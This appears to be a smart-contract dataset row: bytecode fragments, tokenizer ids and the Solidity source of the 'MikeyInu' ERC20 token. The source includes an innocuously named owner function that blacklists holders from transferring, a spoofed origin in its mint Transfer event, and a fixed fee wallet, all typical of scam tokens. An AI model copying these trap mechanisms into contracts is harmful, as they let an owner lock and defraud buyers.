0000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131236022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131936025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131006023913960400191505060405180910390fd5b6118208686866130fa565b61188b84604051806060016040528060268152602001613145602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131936025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131006023913960400191505060405180910390fd5b611c7c8686866130fa565b611ce784604051806060016040528060268152602001613145602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131936025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131006023913960400191505060405180910390fd5b611f968686866130fa565b61200184604051806060016040528060268152602001613145602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131456026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131936025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131006023913960400191505060405180910390fd5b6123ae8686866130fa565b61241984604051806060016040528060268152602001613145602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131936025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131006023913960400191505060405180910390fd5b6127808686866130fa565b6127eb84604051806060016040528060268152602001613145602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131456026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131936025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131006023913960400191505060405180910390fd5b612b3f8686866130fa565b612baa84604051806060016040528060268152602001613145602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ebf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131936025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131006023913960400191505060405180910390fd5b612f508383836130fa565b612fbb81604051806060016040528060268152602001613145602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061304e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209ca81f583c51b2be61338eee2f8618ebfbdfdd1978cbec27c83cf8d81aab75e164736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2050, 2581, 2475, 2063, 17465, 21486, 2497, 2692, 24594, 21619, 24087, 2487, 2278, 22025, 28311, 2487, 3540, 15136, 26976, 23352, 2692, 2620, 2063, 28311, 2692, 2581, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 2654, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,368
0x96a7a409e1b65aab7d481d795c5efb8043d32ccc
/** *Submitted for verification at Etherscan.io on 2021-11-06 */ /** https://t.me/MikeyInuErc */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MikeyInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MikeyInu"; string private constant _symbol = "MikeyInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9b630220f0f2cC31B6e4C4f4190cAa18a1B5c43E); _feeAddrWallet2 = payable(0x9b630220f0f2cC31B6e4C4f4190cAa18a1B5c43E); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x1C9074E716Da04002DAeb21114Cec14B06ff9697), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount/10*2); _feeAddrWallet1.transfer(amount/10*8); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461031a578063a9059cbb14610345578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b80636fc3eaec1461028457806370a082311461029b578063715018a6146102d85780638da5cb5b146102ef57610109565b806323b872dd116100d157806323b872dd146101ca578063273123b714610207578063313ce567146102305780635932ead11461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd146101765780631b3f71ae146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a6e565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125e8565b61042a565b60405161016d9190612a53565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bd0565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612628565b610457565b005b3480156101d657600080fd5b506101f160048036038101906101ec9190612595565b610581565b6040516101fe9190612a53565b60405180910390f35b34801561021357600080fd5b5061022e600480360381019061022991906124fb565b61065a565b005b34801561023c57600080fd5b5061024561074a565b6040516102529190612c45565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190612671565b610753565b005b34801561029057600080fd5b50610299610805565b005b3480156102a757600080fd5b506102c260048036038101906102bd91906124fb565b610877565b6040516102cf9190612bd0565b60405180910390f35b3480156102e457600080fd5b506102ed6108c8565b005b3480156102fb57600080fd5b50610304610a1b565b6040516103119190612985565b60405180910390f35b34801561032657600080fd5b5061032f610a44565b60405161033c9190612a6e565b60405180910390f35b34801561035157600080fd5b5061036c600480360381019061036791906125e8565b610a81565b6040516103799190612a53565b60405180910390f35b34801561038e57600080fd5b50610397610a9f565b005b3480156103a557600080fd5b506103ae610b19565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612555565b611071565b6040516103e49190612bd0565b60405180910390f35b60606040518060400160405280600881526020017f4d696b6579496e75000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110f8565b8484611100565b6001905092915050565b600066038d7ea4c68000905090565b61045f6110f8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e390612b30565b60405180910390fd5b60005b815181101561057d5760016006600084848151811061051157610510612f8d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061057590612ee6565b9150506104ef565b5050565b600061058e8484846112cb565b61064f8461059a6110f8565b61064a856040518060600160405280602881526020016132fa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106006110f8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d09092919063ffffffff16565b611100565b600190509392505050565b6106626110f8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e690612b30565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61075b6110f8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df90612b30565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108466110f8565b73ffffffffffffffffffffffffffffffffffffffff161461086657600080fd5b600047905061087481611934565b50565b60006108c1600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a39565b9050919050565b6108d06110f8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095490612b30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f